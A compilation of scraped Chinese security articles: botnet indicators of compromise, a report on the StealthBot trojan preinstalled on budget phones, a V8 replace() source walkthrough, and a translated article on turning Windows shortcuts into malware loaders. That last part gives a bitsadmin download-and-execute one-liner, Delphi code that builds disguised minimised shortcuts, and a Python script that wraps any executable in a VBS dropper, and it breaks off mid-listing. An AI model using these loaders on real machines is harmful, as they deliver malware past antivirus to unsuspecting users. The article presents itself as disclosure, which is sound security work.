* D-Link DIR-890L D-Link DIR-645的 [漏洞利用](http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/)
## 详细技术分析文档
[TheMoon-botnet.pdf](http://blog.netlab.360.com/file/TheMoon-botnet.pdf)
#### IoC
样本MD5和下载URL
2017-04-02 7bca40bba278b0021a87bcbc35b2e144 hxxp://domstates.su/nmlt1.sh
2017-04-02 70461da8b94c6ca5d2fda3260c5a8c3b hxxp://domstates.su/.nttpd
2017-04-02 c8f17d7403ac5ff2896a713a7175ed19 hxxp://domstates.su/archi.txt
2017-04-06 bc56979a0b381a791dd59713198a87fb hxxp://domstates.su/nmlt1.sh
2017-04-06 bc56979a0b381a791dd59713198a87fb hxxp://domstates.su/archi.txt
2017-04-09 11f060ffd8a87f824c1df3063560bc9e hxxp://domstates.su/.nttpd,19-mips-le-t1
2017-04-09 c0c1d535d5f76c5a69ad6421ff6209fb hxxp://domstates.su/.nttpd,17-mips-be-t2
2017-04-09 4d90e3a14ebb282bcdf3095e377c8d26 hxxp://domstates.su/.nttpd,18-arm-le-t1
2017-08-11 106d9eb6a7c14f4722898b89ccacb17e hxxp://domstates.su/nmlt1.sh
2017-08-11 6f2fabf40ad39a5738e40dbe2c0a1b53 hxxp://domstates.su/.nttpd,20-mips-le-t1
2017-08-11 b731e5136f0ced58618af98c7426d628 hxxp://domstates.su/.nttpd,19-arm-le-t1
2017-10-03 9c79b0a54e70cf0a65ba058e57aee6f1 hxxp://domstates.su/nmlt1.sh
2017-10-03 27002860c26c2298a398c0a8f0093ef6 hxxp://domstates.su/.nttpd,19-arm-le-t1
2017-10-03 54631bbc01b934ee3dbcafdc6055599c hxxp://domstates.su/.nttpd,18-mips-be-t2
2017-10-05 e2673d513125bcae0865ccf0139cef0c hxxp://domstates.su/nmlt1.sh
2017-10-05 b8e16a37997ada06505667575f8577d6 hxxp://domstates.su/.nttpd,19-arm-le-t1
2017-10-05 98c678ee656325b0aee1fe98f2ca6f55 hxxp://domstates.su/.nttpd,18-mips-be-t2
2017-10-09 96219e644bf69ff7359ecc5e9687bcd0 hxxp://domstates.su/nmlt1.sh
2017-10-09 f9d87043d2e99098f35a27237925992f hxxp://domstates.su/.nttpd,20-arm-le-t1-z
2017-10-09 089d304877930d3dfe232a2e98e63f6f hxxp://domstates.su/.nttpd,19-mips-be-t2-z
2017-10-14 275cc8ed50368fa72e46551e41824683 hxxp://domstates.su/nmlt1.sh
2017-10-14 7fa47de462e743607eb9a2f93b7193ce hxxp://domstates.su/.nttpd,20-mips-be-t2-z
2017-10-16 810ea41f35f9fe40855900db9406d7a0 hxxp://domstates.su/nmlt1.sh
2017-10-21 dbf24da7b27c12ae65c98675eb435c81 hxxp://domstates.su/nmlt1.sh
2017-11-12 8ad5b160dd7a976044d6a2dd631efc4b hxxp://domstates.su/nmlt1.sh
2017-11-12 20f9f7ae0c6d385b0bedcdd618c478dc hxxp://domstates.su/.nttpd,21-arm-le-t1-z
2017-11-12 53494b8867654d06ea1b5aec0ed981c1 hxxp://domstates.su/.nttpd,21-mips-be-t2-z
2017-11-12 016cc0097560bbbb07b4891256600eb8 hxxp://domstates.su/d8ug.sh
2017-11-27 2ceb4822e1e0f72e8b88968165d9a99f hxxp://domstates.su/nmlt1.sh
2017-11-27 057d56b7de1e9460bd13c5c6eafd4559 hxxp://domstates.su/.nttpd,21-mips-le-t1
C2 IP
149.202.211.227
173.208.219.26
173.208.219.42
173.208.219.50
173.208.219.58
185.53.8.22
185.56.30.189
185.56.30.189
208.110.66.34
217.79.182.212
46.148.18.154
69.197.128.34
85.114.135.20
91.215.158.118
95.213.143.220 | 社区文章 |
# 三四线城市百万台小众品牌手机预置后门，快看看你家有吗
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、 主要发现
移动平台的流量黑产一直是我们的研究对象，2017年我们在《移动平台流量黑产研究——流量作弊与流量泡沫》报告中揭露了用于流量作弊的恶意刷量木马，该木马幕后指向北京的一家互联网服务公司。通过对该公司推广渠道的跟踪分析，我们发现了新型的刷量作弊木马家族，由于这类家族使用了特殊的自我隐藏方式以及成熟的模拟点击流程，如同一批由工厂自动流水线生产出来的隐形机器人，我们借用《刺猬索尼克》中一款隐形机器人的名称命名该家族为StealthBot。
根据我们的监测情况，StealthBot今年1月开始出现，截止到4月中旬，短短3个多月的时间里累计感染量超过400万，与一般的大规模感染情况不同的是，StealthBot感染的手机品牌多达150余个并且集中在小众手机品牌，感染地区避开了一、二线大城市主要集中在国内的中小城市。
StealthBot伪装成系统通知服务，它支持开机自动运行及外部唤醒等启动方式，运行后耗费用户数据流量，自动更新并加载最新版本的恶意插件，响应服务器下发的指令，完成涵盖搜索、购物、新闻、视频、红包等多个领域的刷量作弊推广功能。
在对StealthBot整个感染链的分析中发现，涉及到多家公司共同参与制作传播，我们监测到主要是通过供应链攻击的方式在用户使用手机前预置到这些小众品牌的手机系统中。
## 二、 StealthBot如何运行
StealthBot伪装成系统应用，并隐藏图标，接收指定的大量系统广播或者自定义广播启动。
图2.1 广播启动图
## 三、 庞大的刷量业务范围
StealthBot会定时联网与服务器通信，更新并加载最新的SDK恶意插件，根据我们流量监测情况，短短3个月的时间里共更新了91个版本，频繁调整刷量功能及业务范围。
该插件通过接收与响应服务器下发指令，后台隐藏执行多种作弊刷量推广业务，进而实现自身牟利。目前最新版本的作弊刷量推广业务涵盖搜索、购物、新闻、视频、红包等多个领域。
表1 最新版本的作弊刷量推广业务列表
## 四、 巧妙的隐藏方式
与之前曝光过的刷量作弊木马隐藏方式不同，为了避免被用户发现，StealthBot采用了极为巧妙的隐藏方式，分别采用了人体感官视觉和听觉两种隐藏方式。
### (一) 视觉隐藏——透明窗体
StealthBot使用透明且无焦点的WebView窗口覆盖正常的应用程序窗口
图4.1透明窗体代码片段
推广过程中用户看到的顶层界面和实际运行顶层界面请参考下面的模拟图
图4.2推广过程模拟图
### (二) 听觉隐藏——页面静音
在遇到视频、动画等有声音的页面时，调用JavaScript脚本设置页面静音。设置静音行为在电信诈骗场景中较为常见，用于辅助窃取验证码短信信息和来电转移，在刷量木马上还是首次出现。
图4.3设置页面静音代码片段
在我们之前发的报告中总结过一些木马的逃逸技术，以上两种巧妙的感官隐藏方式是对木马逃逸技术的进一步补充。
## 五、中小城市、小众手机为主要目标
根据我们的监测情况，StealthBot今年1月开始出现，截止到4月中旬，短短3个多月的时间里累计感染量超过400万。
图5.1国内感染分布情况
从感染省份来看，与常规木马不同的是，广东、北京并非此次事件的重点灾区。河南、山东、河北位列前三。
图5.2国内省份感染分布情况
从感染城市看，重点感染地区避开了国内常规的一、二线中心城市，而主要集中在中小城市。例如渭南、娄底、邯郸、菏泽等地是此次事件的重灾区。
图5.3中心和中小城市感染分布占比
从感染的手机品牌看，集中在小众品牌机型，涉及不同品牌超过150余个，我们发现主流手机品牌基本不受影响。
图5.4感染的手机品牌Top20
## 六、多家公司参与成为幕后推手
StealthBot刷量木马的庞大的刷量业务范围、与众不同的攻击目标以及迅猛爆发的态势，引起了我们高度的关注。对于其幕后的推手也做了进一步的溯源追踪分析。
分析发现，参与StealthBot制作、传播过程共涉及4家公司，其中北京市鸿途信达科技有限公司（下文简称鸿途信达）和北京盈创嘉鑫科技有限公司（下文简称盈创嘉鑫）参与制作；杭州传信网络科技有限公司（下文简称传信科技）和深圳鼎智通讯股份有限公司（下文简称鼎智通讯）参与传播。
图6.1多家公司制作和传播关系
在对刷量作弊的流量监测中发现，StealthBot使用的恶意C&C域名归属于鸿途信达和盈创嘉鑫两家公司，并且使用了两家特有的渠道标识。另外还发现StealthBot样本证书名称包含了“htxd”，与鸿途信达首字母拼音缩写相同。
图6.2制作StealthBot直接和间接证据指向
通过网上公开信息我们发现，制作者鸿途信达和盈创嘉鑫两家公司属于科技推广和应用服务业且法定代表人均为同一个人。
StealthBot的多个推广链接归属于鼎智通讯和传信科技，通过进一步分析，我们发现两家公司的推广渠道并不相同，分别采用了手机预置和内嵌产品推广的方式。
表2
鼎智通讯是广东省一家生产移动终端为主的集团企业，总部位于深圳市南山区，涉及智能设备全过程方案开发业务，旗下生产众多小众品牌手机。
我们发现与这家公司相关的推广链接包含有usystemapks、app-release等与系统、研发、打包有关的英文词语。我们监测到的数据显示，StealthBot在2018年1月最先出现在鼎智通讯旗下的手机品牌COMIO上
图6.3 鼎智通讯手机预置推广StealthBot直接和间接证据指向
一般情况下手机预置的恶意软件，要到达用户手里以后才开始变得活跃，所以手机预置的起始时间要稍早于恶意样本爆发时的时间。监测数据显示2017年11月前后，对应的鼎智通讯的某一子域名*********.topwisesz.com开始了异常的激增访问，这个时间正好早于StealthBot爆发大规模感染，进一步验证了我们的结论。
图6.4 鼎智通讯的某一子域名活跃情况（数据来源360 netlab）
另外一家公司传信科技，主要从事互联网产品运营及移动互联网产品研发，该公司主要从事”换机精灵”产品的自主研发。
我们监测到，传信科技利用自身研发的产品如“换机精灵”、“头条速览”等进行StealthBot推广传播。
图6.5传信科技内嵌产品推广StealthBot证据指向
我们在分析流量时，发现有联网请求下载刷量木马StealthBot，StealthBot从传信科技服务器下载。
图6.6 StealthBot从传信科技服务器请求的流量数据
在一份广东省质量技术监督局2018年1月份公布的《2017年广东省手机产品质量“双随机”专项监督抽查结果公告》不合格名单列表中，我们发现了StealthBot感染的一些品牌出现在上面，证明这些有问题的小众品牌手机存在问题由来已久。
表3
小众品牌手机价格低廉，手机厂商采用多种手段收集用户隐私信息，甚至预置恶意软件，来弥补自己小众手机品牌市场份额，增加自己的收益。
3月份曝光的RottenSys恶意软件，主要是通过一家电话分销平台来进行传播的，攻击者在该环节上通过“刷机”或APP（再root）的方式，在手机到达用户手中前，在目标上安装部分RottenSys恶意软件，从而达到感染传播的效果。类似的供应链攻击在移动平台上已经屡见不鲜，供应链上的各个环节都有可能影响到最终产品和使用场景的安全性。
此次事件影响的目标机型集中在众多中小品牌手机，具有很强的针对性；同时倾销地也指向三四线中小城市，具有很强的隐蔽性难以被发现。移动生态环节面临的诸多安全威胁，也许StealthBot只是供应链分发环节中的冰山一角，我们将会持续关注。 | 社区文章 |
# 《Chrome V8 源码》38. replace 技术细节、性能影响因素
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 介绍
字符串是 JavaScript
中的重要数据类型，其重要性不仅体现在字符串是应用最多最广泛的数据类型，更体现在V8中使用了大量的技术手段来修饰和优化字符串的操作。接下来的几篇文章将集中讲解字符串的相关操作。本文先讲解
String.prototype.replace 的源码以及相关数据结构，再通过测试用例演示 String.prototype.replace
的调用、加载和执行过程。我们会看字符串的类型、长度等因素如何影响 replace 的实现方式和效率。
**注意** （1）Sea of Nodes 是本文的先导知识，请参考 Cliff 1993年发表的论文 From Quads to
Graphs。（2）本文所用环境为：V8 7.9、win10 x64、VS2019。
## 2 String.prototype.replace 源码
测试用例代码如下：
var str="Visit Microsoft!Visit Microsoft!";
var res=str.replace("Microsoft","Runoob");
console.log(res);
replace() 采用 TF_BUILTIN 实现，replace() 在 V8 中的函数名是 StringPrototypeReplace，编号是
594，源码如下：
1. TF_BUILTIN(StringPrototypeReplace, StringBuiltinsAssembler) {
2. Label out(this);
3. TNode<Object> receiver = CAST(Parameter(Descriptor::kReceiver));
4. Node* const search = Parameter(Descriptor::kSearch);
5. Node* const replace = Parameter(Descriptor::kReplace);
6. TNode<Context> context = CAST(Parameter(Descriptor::kContext));
7. TNode<Smi> const smi_zero = SmiConstant(0);
8. RequireObjectCoercible(context, receiver, "String.prototype.replace");
9. MaybeCallFunctionAtSymbol(/*省略.....*/);
10. TNode<String> const subject_string = ToString_Inline(context, receiver);
11. TNode<String> const search_string = ToString_Inline(context, search);
12. TNode<IntPtrT> const subject_length = LoadStringLengthAsWord(subject_string);
13. TNode<IntPtrT> const search_length = LoadStringLengthAsWord(search_string);
14. {
15. Label next(this);
16. GotoIfNot(WordEqual(search_length, IntPtrConstant(1)), &next);
17. GotoIfNot(IntPtrGreaterThan(subject_length, IntPtrConstant(0xFF)), &next);
18. GotoIf(TaggedIsSmi(replace), &next);
19. GotoIfNot(IsString(replace), &next);
20. TNode<Uint16T> const subject_instance_type =
21. LoadInstanceType(subject_string);
22. GotoIfNot(IsConsStringInstanceType(subject_instance_type), &next);
23. GotoIf(TaggedIsPositiveSmi(IndexOfDollarChar(context, replace)), &next);
24. Return(CallRuntime(Runtime::kStringReplaceOneCharWithString, context,
25. subject_string, search_string, replace));
26. BIND(&next); }
27. TNode<Smi> const match_start_index =
28. CAST(CallBuiltin(Builtins::kStringIndexOf, context, subject_string,
29. search_string, smi_zero));
30. {
31. Label next(this), return_subject(this);
32. GotoIfNot(SmiIsNegative(match_start_index), &next);
33. GotoIf(TaggedIsSmi(replace), &return_subject);
34. GotoIf(IsCallableMap(LoadMap(replace)), &return_subject);
35. ToString_Inline(context, replace);
36. Goto(&return_subject);
37. BIND(&return_subject);
38. Return(subject_string);
39. BIND(&next); }
40. TNode<Smi> const match_end_index = SmiAdd(match_start_index, SmiFromIntPtr(search_length));
41. VARIABLE(var_result, MachineRepresentation::kTagged, EmptyStringConstant());
42. {
43. Label next(this);
44. GotoIf(SmiEqual(match_start_index, smi_zero), &next);
45. TNode<Object> const prefix =
46. CallBuiltin(Builtins::kStringSubstring, context, subject_string,
47. IntPtrConstant(0), SmiUntag(match_start_index));
48. var_result.Bind(prefix);
49. Goto(&next);
50. BIND(&next); }
51. Label if_iscallablereplace(this), if_notcallablereplace(this);
52. GotoIf(TaggedIsSmi(replace), &if_notcallablereplace);
53. Branch(IsCallableMap(LoadMap(replace)), &if_iscallablereplace,
54. &if_notcallablereplace);
55. BIND(&if_iscallablereplace);
56. {
57. Callable call_callable = CodeFactory::Call(isolate());
58. Node* const replacement =
59. CallJS(call_callable, context, replace, UndefinedConstant(),
60. search_string, match_start_index, subject_string);
61. TNode<String> const replacement_string =
62. ToString_Inline(context, replacement);
63. var_result.Bind(CallBuiltin(Builtins::kStringAdd_CheckNone, context,
64. var_result.value(), replacement_string));
65. Goto(&out); }
66. BIND(&if_notcallablereplace);
67. {
68. TNode<String> const replace_string = ToString_Inline(context, replace);
69. Node* const replacement =
70. GetSubstitution(context, subject_string, match_start_index,
71. match_end_index, replace_string);
72. var_result.Bind(CallBuiltin(Builtins::kStringAdd_CheckNone, context,
73. var_result.value(), replacement));
74. Goto(&out);}
75. BIND(&out);
76. {
77. TNode<Object> const suffix =
78. CallBuiltin(Builtins::kStringSubstring, context, subject_string,
79. SmiUntag(match_end_index), subject_length);
80. TNode<Object> const result = CallBuiltin(
81. Builtins::kStringAdd_CheckNone, context, var_result.value(), suffix);
82. Return(result);
83. }}
上述代码第 3 行代码 receiver 代表测试用例字符串 “Visit Microsoft!Visit Microsoft!”；
第 4 行代码 search 代表测试用例字符串 “Microsoft”；
第 5 行代码 replace 代表测试用例字符串 “Runoob”；
第 9 行代码当 search 为正则表达式时，使用 MaybeCallFunctionAtSymbol() 实现 replace 功能。
下面将 replace 源码划分为五个子功能单独说明：
**（1）** 功能 1：receiver 长度大于 0xFF、search 长度大于 1 以及 replace 为
ConsString，这三个条件同时成立时
第 10-13 行代码转换 search 和 replace 的数据类型，并计算他们的长度；
第 16 行代码判断 search 的长度是否等于 1，不等于则跳转到第 26 行；
第 17 行代码判断 receiver 的长度是否大于 0xFF，小于等于则跳转到第 26 行；
第 18-19 行判断 replace 是否为小整数或者 replace 不是字符串，结果为真则跳转到第 26 行；
第 20-22 行判断 replace 是否为 ConsString 类型，结果为假则跳转到第 26 行； **提示**
ConsString不是一个独立的字符串，它是使用指针把两个字符串拼接在一起的字符串对。在 V8 中，两个字符串相加的结果常是 ConsString
类型的字符串对。
第 23 行判断 PositiveSmi 类型；
第 24 行采用 Runtime::kStringReplaceOneCharWithString() 完成 replace。
**（2）** 功能 2：计算 receiver 中的前缀字符串
第 27-32 行计算 search的第一个字符在 receiver 中的位置 match_start_index，如果 match_start_index
不是负数则跳转到 39 行；
第 33-35 行判断 replace 是否为 SMI 或 函数，是则跳转到 37 行；
第 40 行计算 match_end_index；
第 44 行如果 match_start_index = 0（也就是 search[0]=receiver[0]），则跳转到 49 行；
第 45 行取出 receiver 中 match_start_index 位置之前的字符，保存为 prefix；也就是获取测试用例中的 “Visit ”
字符串；
第 50-54 行判断 replace 是否为 SMI 或 函数，根据判断结果跳转到相应的行号。
**（3）** 功能 3：replace 是函数类型
第 58-63 行计算 replace 的结果，将该结果拼接在 prefix 后面组成新的字符串 var_result;
**（4）** 功能 4：replace 是字符串类型
第 58-72 行将 replace 拼接在 prefix 后面组成新的字符串 var_result;
**（5）** 计算 receiver 中的后缀字符串
第 77-82 行取出 receiver 中 match_end_index 之后的字符串 suffix，将 suffix 拼接在 var_result
后面组成并返回新的字符串，replace 完毕。
下面简单说明 replace 中使用的 runtime 方法：
1. RUNTIME_FUNCTION(Runtime_StringReplaceOneCharWithString) {
2. HandleScope scope(isolate);
3. DCHECK_EQ(3, args.length());
4. CONVERT_ARG_HANDLE_CHECKED(String, subject, 0);
5. CONVERT_ARG_HANDLE_CHECKED(String, search, 1);
6. CONVERT_ARG_HANDLE_CHECKED(String, replace, 2);
7. const int kRecursionLimit = 0x1000;
8. bool found = false;
9. Handle<String> result;
10. if (StringReplaceOneCharWithString(isolate, subject, search, replace, &found,
11. kRecursionLimit).ToHandle(&result)) {
12. return *result;
13. }
14. if (isolate->has_pending_exception())
15. return ReadOnlyRoots(isolate).exception();
16. subject = String::Flatten(isolate, subject);
17. if (StringReplaceOneCharWithString(isolate, subject, search, replace, &found,
18. kRecursionLimit).ToHandle(&result)) {
19. return *result;
20. }
21. if (isolate->has_pending_exception())
22. return ReadOnlyRoots(isolate).exception();
23. return isolate->StackOverflow();
24. }
上述代码中第 10 执行 StringReplaceOneCharWithString 方法，该方法实现了 replace 功能;
第 14 行代码检测到异常情况时，先执行 String::Flatten，将ConsString字符处理成为单一字符串之后再次执行
StringReplaceOneCharWithString 方法。
图1给出 StringPrototypeReplace 的函数调用堆栈。
## String.prototype.replace 测试
测试用例的字节码如下：
1. //省略........
2. 000001A2EE982AC6 @ 16 : 12 01 LdaConstant [1]
3. 000001A2EE982AC8 @ 18 : 15 02 04 StaGlobal [2], [4]
4. 000001A2EE982ACB @ 21 : 13 02 00 LdaGlobal [2], [0]
5. 000001A2EE982ACE @ 24 : 26 f9 Star r2
6. 000001A2EE982AD0 @ 26 : 29 f9 03 LdaNamedPropertyNoFeedback r2, [3]
7. 000001A2EE982AD3 @ 29 : 26 fa Star r1
8. 000001A2EE982AD5 @ 31 : 12 04 LdaConstant [4]
9. 000001A2EE982AD7 @ 33 : 26 f8 Star r3
10. 000001A2EE982AD9 @ 35 : 12 05 LdaConstant [5]
11. 000001A2EE982ADB @ 37 : 26 f7 Star r4
12. 000001A2EE982ADD @ 39 : 5f fa f9 03 CallNoFeedback r1, r2-r4
13. 000001A2EE982AE1 @ 43 : 15 06 06 StaGlobal [6], [6]
14. 000001A2EE982AE4 @ 46 : 13 07 08 LdaGlobal [7], [8]
15. 000001A2EE982AE7 @ 49 : 26 f9 Star r2
16. 000001A2EE982AE9 @ 51 : 29 f9 08 LdaNamedPropertyNoFeedback r2, [8]
17. 000001A2EE982AEC @ 54 : 26 fa Star r1
18. 000001A2EE982AEE @ 56 : 13 06 02 LdaGlobal [6], [2]
19. 000001A2EE982AF1 @ 59 : 26 f8 Star r3
20. 000001A2EE982AF3 @ 61 : 5f fa f9 02 CallNoFeedback r1, r2-r3
21. 000001A2EE982AF7 @ 65 : 26 fb Star r0
22. 000001A2EE982AF9 @ 67 : ab Return
23. Constant pool (size = 9)
24. 000001A2EE982A29: [FixedArray] in OldSpace
25. - map: 0x022d5e100169 <Map>
26. - length: 9
27. 0: 0x01a2ee9829c9 <FixedArray[8]>
28. 1: 0x01a2ee9828c1 <String[#32]: Visit Microsoft!Visit Microsoft!>
29. 2: 0x01a2ee9828a9 <String[#3]: str>
30. 3: 0x02749a2ab821 <String[#7]: replace>
31. 4: 0x01a2ee982909 <String[#9]: Microsoft>
32. 5: 0x01a2ee982929 <String[#6]: Runoob>
33. 6: 0x01a2ee9828f1 <String[#3]: res>
34. 7: 0x02749a2b3699 <String[#7]: console>
35. 8: 0x02749a2b2cd9 <String[#3]: log>
上述代码中，第 2-5 行读取字符串 “Visit Microsoft!Visit Microsoft!” 并保存到 r2 寄存器中；
第 6-7 行获取 replace 函数地址并保存到 r1 寄存器中；
第 8-11 行读取 “Microsoft” 和 “Runoob” 并分别保存到 r3 和 r4 寄存器中；
第 12 行调用 repalce 方法；
图 2 给出了 CallNoFeedback 的调用堆栈。
**技术总结**
**（1）** receiver 长度大于 0xFF、search 长度大于 1 以及
replace为ConsString，三个条件同时成立时采用低效率的 runtime 方式处理；
**（2）** replace 的原理是计算前、后缀，并与 newvalue 拼接组成最终结果。
好了，今天到这里，下次见。
**个人能力有限，有不足与纰漏，欢迎批评指正**
**微信：qq9123013 备注：v8交流 邮箱：[v8blink@outlook.com](mailto:v8blink@outlook.com)** | 社区文章 |
# 【技术分享】将快捷方式打造成恶意软件入口（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：phrozensoft.com
原文地址：<https://www.phrozensoft.com/2016/12/shortcuts-as-entry-points-for-malware-18>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **shan66**
****](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：200RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:linwei@360.cn) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
最近，安全研究人员发现了一种在Microsoft
Windows操作系统中通过快捷方式安装恶意软件的方法。我们对于快捷方式再熟悉不过了，几乎每个人都在用，并且大家都没有戒心。正是由于这些特点，使得这些恶意软件很难发现，同时，清除起来就更困难了。
**前言**
快捷方式并非二进制可执行文件，常用来指向其他地方的文件夹或文件。但是，它却可以执行Windows
shell命令（这可能是一个非常危险的功能，通常用于编程任务，如系统的关闭/注销/直接通过常规快捷方式重新启动等）。
由于快捷方式不是二进制可执行文件，所以防病毒程序通常也不会检测快捷方式是否是恶意的。
快捷方式可以通过归档文件共享，而不会丢失其属性。
最后，你可以轻松地更改图标，所以恶意快捷方式很容易伪装成文件夹图标或图像。这可能有助于恶意软件通过社交媒体进行传播。
**漏洞详述**
为了描述这种威胁，我们需要首先介绍一个本地的Windows程序，该程序名为BITSAdmin Tool，它可以嵌入到Windows XP
SP2之后的所有Windows系统中。关于这个程序的详细介绍，请访问MSDN链接：
<https://msdn.microsoft.com/en-us/library/windows/desktop/aa362813(v=vs.85).aspx>。
简单来说，这个命令行工具主要用于创建下载任务并监视其进度。然而，使用这些命令行是非常危险的，因为Bitsadmin.exe带有微软签名，所以其他防病毒软件自然会对它放行，并且它能够以单独的命令行方式使用。
下面是BITSAdmin命令的一个例子：
bitsadmin /transfer downloader /priority normal https://phrozensoft.com/uploads/2016/09/Winja_2_6084_65441_setup.exe %temp%setup.exe
现在，让我们使用这个命令行工具来利用一个新的Windows快捷方式。
**DIY，手动方式**
在资源管理器中（例如桌面上的空闲处）单击右键，然后单击“Create a new shortcut”菜单项。
然后，输入以下命令行：
cmd.exe /C "%windir%System32bitsadmin.exe /transfer downloader /priority normal https://phrozensoft.com/uploads/2016/09/Winja_2_6084_65441_setup.exe %temp%setup.exe & %temp%setup.exe"
然后保存。
现在，在这个快捷方式上面单击右键，然后，选择属性。
将“Run”选项切换为“Run Minimized”
最后，将图标换为你最新喜欢的样子（例如文件夹图标）
为了在共享快捷方式时保持图标不变，建议使用shell32.dll的图标（因为所有Windows系统中都有shell32.dll）。
注意：在Microsoft系统中，除了shell32.dll之外，Ieframe.dll、imageres.dll、pnidui.dll、wmploc.dll等文件的图标也非常有用。
好了，恶意快捷方式现已准备就绪了。
**DIY，编程方式（Delphi）**
uses ActiveX, ShlObj, ComObj;
function MaliciousLnk(fileUrl, destFile : String) : Boolean;
var cObject : IUnknown;
shellLink : IShellLink;
PFile : IPersistFile;
LinkName : string;
Cmd : String;
begin
result := false;
CoInitialize(nil);
try
cObject := CreateComObject(CLSID_ShellLink);
shellLink := cObject as IShellLink;
PFile := cObject as IPersistFile;
Cmd := '/C "c:windowssystem32bitsadmin.exe /transfer downloader /priority normal "' + fileURL + '" %temp%tmp.exe & %temp%tmp.exe"';
shellLink.SetDescription('www.phrozensoft.com');
shellLink.SetPath('cmd.exe');
shellLink.SetArguments(PWideChar(cmd));
shellLink.SetShowCmd(SW_SHOWMINNOACTIVE);
shellLink.SetWorkingDirectory('%windir%system32');
shellLink.SetIconLocation('shell32.dll', 1);
result := PFile.Save(PWideChar(destFile), false) = S_OK;
finally
CoUninitialize();
end;
end;
注意，这种技术在Windows XP SP2到Windows 10（最新版本）的所有版本上面都有效，其中包括相应的服务器版本。
通过这种方法，黑客甚至不需要创建下载恶意软件的代码，从而可以逃避防病毒检测。这里没有用到任何二进制可执行文件！
这里的bitsadmin.exe只是用来说明Windows快捷方式用法的一个例子，可以这么说，凡是可以通过命令行方式做到的事情，都可以通过快捷方式做到，例如：
使用所有常规的Windows DOS命令
使用PowerShell来制作恶意代码
使用新版Windows 10的嵌入式Linux系统（仅限于已激活此选项的用户）
使用rundll32.exe调用DLL导出的函数
等等…
注意：对于不需要使用PowerShell的普通Windows用户（默认情况下已启用）来说，我们建议卸载该软件包。这样可以免受所有通过PowerShell安装恶意代码的恶意软件的攻击。
请按照以下步骤卸载PowerShell包（可以随时还原）
打开Program and Features，然后点选Turn Windows features on or off
向下滚动到PowerShell列表项，然后取消选中该复选框
重新启动后，PowerShell包就会从您的系统中卸载。
**利用Windows快捷方式的新方法**
就在昨天，我们报告了一种通过快捷方式来感染Microsoft Windows用户的方法，该方法可以使用BITSAdmin工具来下载和执行远程应用程序。
我们的第一个示例的主要问题在于，防火墙可能会拦截下载尝试，而要想执行远程文件，则必须首先通过远程http/https连接进行下载。
现在，安全研究人员又发现了另一种利用Windows快捷方式的新方法：将任意文件（如应用程序文件）直接嵌入到快捷方式本身内部。
**没错! 该应用程序就藏在Windows的快捷方式本身内部。**
这使得恶意应用程序在执行之前，无论任何防病毒软件，根本就检测不到它。
注意：在下面介绍的PoC中，我们将使用这个漏洞作为文件dropper，与此同时，我们也可以采用另一种方式：将二进制文件直接注入内存，而不写入磁盘，这样的话，当这个恶意软件运行时，防病毒软件就更加难以检测到它了。关于后面这种方法，我们将单独写一篇文章进行详细介绍。
**它是如何工作的？**
首先要做的是：创建一个恶意的VBS（Visual Basic脚本），它用于：
将应用程序文件转换为字节数组（通过python脚本完成）
然后创建一个临时的.exe文件
将字节数组写入此临时文件中
执行这个临时的.exe文件。
准备好VBS脚本后（仍然使用我们的python脚本示例），我们将该VBS代码转换为等价的一个单命令行，以便插入到新的快捷方式中。
通常来说，Windows快捷方式命令的最大长度在260个字符左右，但是，对于利用之前Delphi技巧所新建的快捷方式来说，你可以插入任意数量的字符，都不会对快捷方式造成不良影响。
**创建内联恶意VBS应用程序提取器的脚本（Python 3.5）**
# SHORTCUT EXPLOIT : FILE BINDER (WRAPPER)
# DISCOVERED AND CODED BY : @DarkCoderSc
# https://twitter.com/DarkCoderSc
# Lead Developer / Security Researcher at Phrozen SAS (https://phrozensoft.com)
# jplesueur@phrozensoft.com
############################################
# This little script will generate a malicious shortcut. A file will be embedded
# Inside, when executed it will be extracted and executed.
import sys
import os
if len(sys.argv) != 3:
print("Missing arguments!n")
print("Usage:n")
print(r"1) The executable file to be dropped (Needs to Exists)")
print(r"2) The destination malicious shell payload file")
exit()
FEXEFile = str(sys.argv[1])
FFileDest = str(sys.argv[2])
if not os.path.exists(FEXEFile):
print("The input executable file must exists!")
exit()
#
# TRANSFORM INPUT FILE IN BINARY ARRAY
#
payload = "payload=array(";
with open(FEXEFile, 'rb') as FFile:
while True:
s = FFile.read(1)
if len(s) == 0: break
b = ord(s)
payload += str(b) + ","
payload = payload[:-1]
payload += ")"
FFile.close
#
# WRITE VBS EXTRACTION AND EXECUTION CODE TO BE PLACED IN A SHELL
#
tempFile = " >> %temp%\tmp.vbs"
maliciousVBS = "del %temp%\tmp.vbs & "
maliciousVBS += "echo " + payload + tempFile + " & "
maliciousVBS += "echo " + "Set FSO = Wscript.CreateObject("Scripting.FileSystemObject")" + tempFile + " & "
maliciousVBS += "echo " + "Set CTF = FSO.CreateTextFile("%temp%\tmp.exe")" + tempFile + " & "
maliciousVBS += "echo " + "for i = 0 to UBound(payload)" + tempFile + " & "
maliciousVBS += "echo " + "buff = buff^&chr(payload(i))" + tempFile + " & "
maliciousVBS += "echo " + "next" + tempFile + " & "
maliciousVBS += "echo " + "CTF.Write buff" + tempFile + " & "
maliciousVBS += "echo " + "Dim objShell" + tempFile + " & "
maliciousVBS += "echo " + "Set objShell = WScript.CreateObject("WScript.Shell")" + tempFile + " & "
maliciousVBS += "echo " + "CTF.Close" + tempFile + " & "
maliciousVBS += "echo " + "objShell.Run("%temp%\tmp.exe")" + tempFile + " & "
maliciousVBS += "%temp%\tmp.vbs"
with open(FFileDest, 'w') as FDest:
FDest.write(maliciousVBS)
**将内联恶意VBS应用程序提取器注入到快捷方式的脚本（Delphi）**
(*
SHORTCUT EXPLOIT : FILE BINDER (WRAPPER)
DISCOVERED AND CODED BY : @DarkCoderSc
https://twitter.com/DarkCoderSc
Lead Developer / Security Researcher at Phrozen SAS (https://phrozensoft.com)
jplesueur@phrozensoft.com
*)
program Shortcut_gen;
{$APPTYPE CONSOLE}
uses
System.SysUtils, ActiveX, ShlObj, ComObj, Windows, Classes;
function MaliciousLnk(cmd, destPath : String) : Boolean;
var cObject : IUnknown;
shellLink : IShellLink;
PFile : IPersistFile;
begin
result := false;
